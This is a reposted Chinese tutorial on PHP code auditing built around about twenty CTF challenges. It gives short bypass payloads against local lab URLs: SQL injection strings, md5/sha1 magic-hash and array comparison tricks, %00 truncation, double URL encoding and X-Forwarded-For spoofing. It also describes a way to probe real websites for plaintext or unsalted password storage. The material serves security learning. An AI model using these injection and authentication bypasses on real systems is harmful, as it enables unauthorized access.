php intval绕过 注入,PHP代码审计片段讲解（入门代码审计、CTF必备）

转载

Sezriv 于 2021-04-12 18:55:42 发布 900 收藏
文章标签： php intval绕过 注入

关于本项目

代码审计对于很多安全圈的新人来说，一直是一件头疼的事情，也想跟着大牛们直接操刀审计CMS？却处处碰壁：

函数看不懂！

漏洞原理不知道！

PHP特性更不知！

那还怎么愉快审计？

不如化繁为简，跟着本项目先搞懂PHP中大多敏感函数与各类特性，再逐渐增加难度，直到可以吊打各类CMS~

本项目讲解基于多道CTF题，玩CTF的WEB狗也不要错过(^ ー ^)V

题的源码在Github: bowu (Github)，可以自行部署，也可以静态审计。

题1 extract变量覆盖

http://127.0.0.1/Php_Bug/extract1.php?shiyan=&flag=1

题3 多重加密

$arr = array(['user'] === 'ichunqiu');

$token = base64_encode(gzcompress(serialize($arr)));

print_r($token);

// echo $token;

?>

eJxLtDK0qs60MrBOAuJaAB5uBBQ=

题4 SQL注入_WITH ROLLUP绕过

admin' GROUP BY password WITH ROLLUP LIMIT 1 OFFSET 1-- -

资料：

实验吧 因缺思汀的绕过 By Assassin(with rollup统计)

使用 GROUP BY WITH ROLLUP 改善统计性能

因缺思汀的绕过

题5 ereg正则%00截断

http://127.0.0.1/Php_Bug/05.php?password=1e9%00*-*

资料：

eregi()

题6 strcmp比较字符串

http://127.0.0.1/Php_Bug/06.php?a[]=1

这个函数是用于比较字符串的函数

int strcmp (string $str1 , string $str2)

// 参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0； 如果 str1 大于 str2 返回 > 0；如果两者相等，返回 0。

可知，传入的期望类型是字符串类型的数据，但是如果我们传入非字符串类型的数据的时候，这个函数将会有怎么样的行为呢？实际上，当这个函数接受到了不符合的类型，这个函数将发生错误，但是在5.3之前的php中，显示了报错的警告信息后，将return 0 !!!! 也就是虽然报了错，但却判定其相等了。这对于使用这个函数来做选择语句中的判断的代码来说简直是一个致命的漏洞，当然，php官方在后面的版本中修复了这个漏洞，使得报错的时候函数不返回任何值。strcmp只会处理字符串参数，如果给个数组的话呢，就会返回NULL,而判断使用的是==，NULL==0是 bool(true)

题7 sha()函数比较绕过

http://127.0.0.1/Php_Bug/07.php?name[]=1&password[]=2

===会比较类型，比如bool sha1()函数和md5()函数存在着漏洞，sha1()函数默认的传入参数类型是字符串型，那要是给它传入数组呢会出现错误，使sha1()函数返回错误，也就是返回false，这样一来===运算符就可以发挥作用了，需要构造username和password既不相等，又同样是数组类型

?name[]=a&password[]=b

题8 SESSION验证绕过

删除cookies或者删除cookies的值

资料：

【Writeup】Boston Key Party CTF 2015(部分题目)

题9 密码md5比较绕过

?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456

资料：

DUTCTF-2015-Writeup

题10 urldecode二次编码绕过

h的URL编码为：%68，二次编码为%2568，绕过

http://127.0.0.1/Php_Bug/10.php?id=%2568ackerDJ

资料：

URL编码表

题11 sql闭合绕过

构造exp闭合绕过 admin')#

题12 X-Forwarded-For绕过指定IP地址

HTTP头添加X-Forwarded-For:1.1.1.1

题13 md5加密相等绕过

http://127.0.0.1/Php_Bug/13.php?a=240610708

==对比的时候会进行数据转换，0eXXXXXXXXXX 转成0了，如果比较一个数字和字符串或者比较涉及到数字内容的字符串，则字符串会被转换为数值并且比较按照数值来进行

var_dump(md5('240610708') == md5('QNKCDZO'));

var_dump(md5('aabg7XSs') == md5('aabC9RqS'));

var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));

var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));

var_dump('0010e2' == '1e3');

var_dump('0x1234Ab' == '1193131');

var_dump('0xABCdef' == ' 0xABCdef');

md5('240610708'); // 0e462097431906509019562988736854

md5('QNKCDZO'); // 0e830400451993494058024219903391

把你的密码设成 0x1234Ab，然后退出登录再登录，换密码 1193131登录，如果登录成功，那么密码绝对是明文保存的没跑。

同理，密码设置为 240610708，换密码 QNKCDZO登录能成功，那么密码没加盐直接md5保存的。

资料：

PHP 探测任意网站密码明文/加密手段办法

题14 intval函数四舍五入

1024.1绕过

资料：

PHP intval()函数利用

题15 strpos数组绕过NULL与ereg正则%00截断

方法一： 既要是纯数字,又要有'#biubiubiu'，strpos()找的是字符串,那么传一个数组给它,strpos()出错返回null,null!==false,所以符合要求. 所以输入nctf[]= 那为什么ereg()也能符合呢?因为ereg()在出错时返回的也是null,null!==false,所以符合要求.

方法二： 字符串截断,利用ereg()的NULL截断漏洞，绕过正则过滤 http://127.0.0.1/Php_Bug/16.php?nctf=1%00#biubiubiu 错误 需将#编码 http://127.0.0.1/Php_Bug/16.php?nctf=1%00%23biubiubiu 正确

题16 SQL注入or绕过

$query='SELECT * FROM users WHERE name=\"admin\'\' AND pass=\"or 1 #\';';

?username=admin\'\' AND pass=\"or 1 #&password=

题17 密码md5比较绕过

//select pw from ctf where user="and 0=1 union select 'e10adc3949ba59abbe56e057f20f883e' #

?user='and 0=1 union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456

题18 md5()函数===使用数组绕过

若为md5($_GET['username']) == md5($_GET['password']) 则可以构造： http://127.0.0.1/Php_Bug/18.php?username=QNKCDZO&password=240610708 因为==对比的时候会进行数据转换，0eXXXXXXXXXX 转成0了也可以使用数组绕过http://127.0.0.1/Php_Bug/18.php?username[]=1&password[]=2

但此处是===，只能用数组绕过，PHP对数组进行hash计算都会得出null的空值 http://127.0.0.1/Php_Bug/18.php?username[]=1&password[]=2

题19 ereg()函数strpos() 函数用数组返回NULL绕过

方法一： ereg()正则函数可以用%00截断 http://127.0.0.1/Php_Bug/19.php?password=1%00–

方法二： 将password构造一个arr[]，传入之后，ereg是返回NULL的，===判断NULL和 FALSE，是不相等的，所以可以进入第二个判断，而strpos处理数组，也是返回NULL，注意这里的是!==，NULL!==FALSE,条件成立，拿到flag“http://127.0.0.1/Php_Bug/19.php?password[]=

题20 十六进制与数字比较

这里，它不让输入1到9的数字，但是后面却让比较一串数字，平常的方法肯定就不能行了，大家都知道计算机中的进制转换，当然也是可以拿来比较的，0x开头则表示16进制，将这串数字转换成16进制之后发现，是deadc0de，在开头加上0x，代表这个是16进制的数字，然后再和十进制的 3735929054比较，答案当然是相同的，返回true拿到flag

echo dechex (3735929054); // 将3735929054转为16进制